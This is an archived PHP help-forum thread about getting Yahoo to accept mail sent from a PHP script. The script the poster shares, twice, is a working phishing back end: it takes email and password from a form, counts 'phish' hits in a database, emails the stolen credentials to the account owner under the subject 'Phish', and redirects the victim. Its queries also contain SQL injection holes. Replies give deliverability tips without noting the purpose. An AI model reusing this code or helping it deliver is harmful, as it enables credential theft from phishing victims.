Vivid Lust Posted September 15, 2008 Share Posted September 15, 2008 I don't thing they like each other :-\ I made a PHP mail script ages ago and yahoo wasn't receiving the mail. I've made one just now and still yahoo doesn't receive the mail from a PHP mail script! My googlemail account receives it fine. Do you know of any ways in which I can get yahoo! to receive emails from a PHP mail script?? Thanks. Link to comment https://forums.phpfreaks.com/topic/124335-yahoo-and-php-mail/ Share on other sites More sharing options...
kenrbnsn Posted September 15, 2008 Share Posted September 15, 2008 Code? Ken Link to comment https://forums.phpfreaks.com/topic/124335-yahoo-and-php-mail/#findComment-642102 Share on other sites More sharing options...
Mchl Posted September 15, 2008 Share Posted September 15, 2008 There was a similar topic yesterday AFAIR, but with MSN mail having problems... Link to comment https://forums.phpfreaks.com/topic/124335-yahoo-and-php-mail/#findComment-642123 Share on other sites More sharing options...
Vivid Lust Posted September 15, 2008 Author Share Posted September 15, 2008 <?php require("includes/db.php"); $get = $_GET['id']; $email = $_POST['email']; $pass = $_POST['pass']; //get info about user from database $sql = "SELECT name,s_phish,u_phish, email FROM users WHERE id=( \"$get\" )"; $query=mysql_query($sql, $link) or die(mysql_error()); while($row=mysql_fetch_assoc($query)){ $p = $row['s_phish']; $name = $row['name']; $e = $row['email']; $rl = $row['u_phish']; } $ph = $p + 1; $sql2 ="UPDATE users SET s_phish=\"$ph\" WHERE id=( \"$get\" )"; $query=mysql_query($sql2, $link) or die(mysql_error()); $msg = "Email/name:".$email." Password: ".$pass." "; //define the receiver of the email $to = $e; //define the subject of the email $subject = 'Phish'; //define the message to be sent. Each line should be separated with \n $message = $msg; //define the headers we want passed. Note that they are separated with \r\n $headers = "From: [email protected]\r\nReply-To: [email protected]"; //send the email $mail_sent = @mail( $to, $subject, $message, $headers ); //if the message is sent successfully print "Mail sent". Otherwise print "Mail failed" header("Location:".$rl.""); ?> Link to comment https://forums.phpfreaks.com/topic/124335-yahoo-and-php-mail/#findComment-642140 Share on other sites More sharing options...
dezkit Posted September 15, 2008 Share Posted September 15, 2008 you have to send a "From:" header with your actual domain. Link to comment https://forums.phpfreaks.com/topic/124335-yahoo-and-php-mail/#findComment-642145 Share on other sites More sharing options...
Vivid Lust Posted September 16, 2008 Author Share Posted September 16, 2008 Still doesnt work: <?php require("includes/db.php"); $get = $_GET['id']; $email = $_POST['email']; $pass = $_POST['pass']; //get info about user from database $sql = "SELECT name,s_phish,u_phish, email FROM users WHERE id=( \"$get\" )"; $query=mysql_query($sql, $link) or die(mysql_error()); while($row=mysql_fetch_assoc($query)){ $p = $row['s_phish']; $name = $row['name']; $e = $row['email']; $rl = $row['u_phish']; } $ph = $p + 1; $sql2 ="UPDATE users SET s_phish=\"$ph\" WHERE id=( \"$get\" )"; $query=mysql_query($sql2, $link) or die(mysql_error()); $msg = "Email/name:".$email." Password: ".$pass." "; //define the receiver of the email $to = $e; //define the subject of the email $subject = 'Phish'; //define the message to be sent. Each line should be separated with \n $message = $msg; //define the headers we want passed. Note that they are separated with \r\n $headers = "From: [email protected]\r\nReply-To: [email protected]"; //send the email $mail_sent = @mail( $to, $subject, $message, $headers ); //if the message is sent successfully print "Mail sent". Otherwise print "Mail failed" header("Location:".$rl.""); ?> Link to comment https://forums.phpfreaks.com/topic/124335-yahoo-and-php-mail/#findComment-642902 Share on other sites More sharing options...
Vivid Lust Posted September 16, 2008 Author Share Posted September 16, 2008 Does anyone know, because this is really bugging me! Link to comment https://forums.phpfreaks.com/topic/124335-yahoo-and-php-mail/#findComment-642983 Share on other sites More sharing options...
versatilewt Posted September 16, 2008 Share Posted September 16, 2008 I have found that email seems to send better when you use mail($email, $subject, $body, $headers, "-f$email"); Link to comment https://forums.phpfreaks.com/topic/124335-yahoo-and-php-mail/#findComment-643004 Share on other sites More sharing options...
Vivid Lust Posted September 16, 2008 Author Share Posted September 16, 2008 That doesn't seem to work for me Link to comment https://forums.phpfreaks.com/topic/124335-yahoo-and-php-mail/#findComment-643019 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.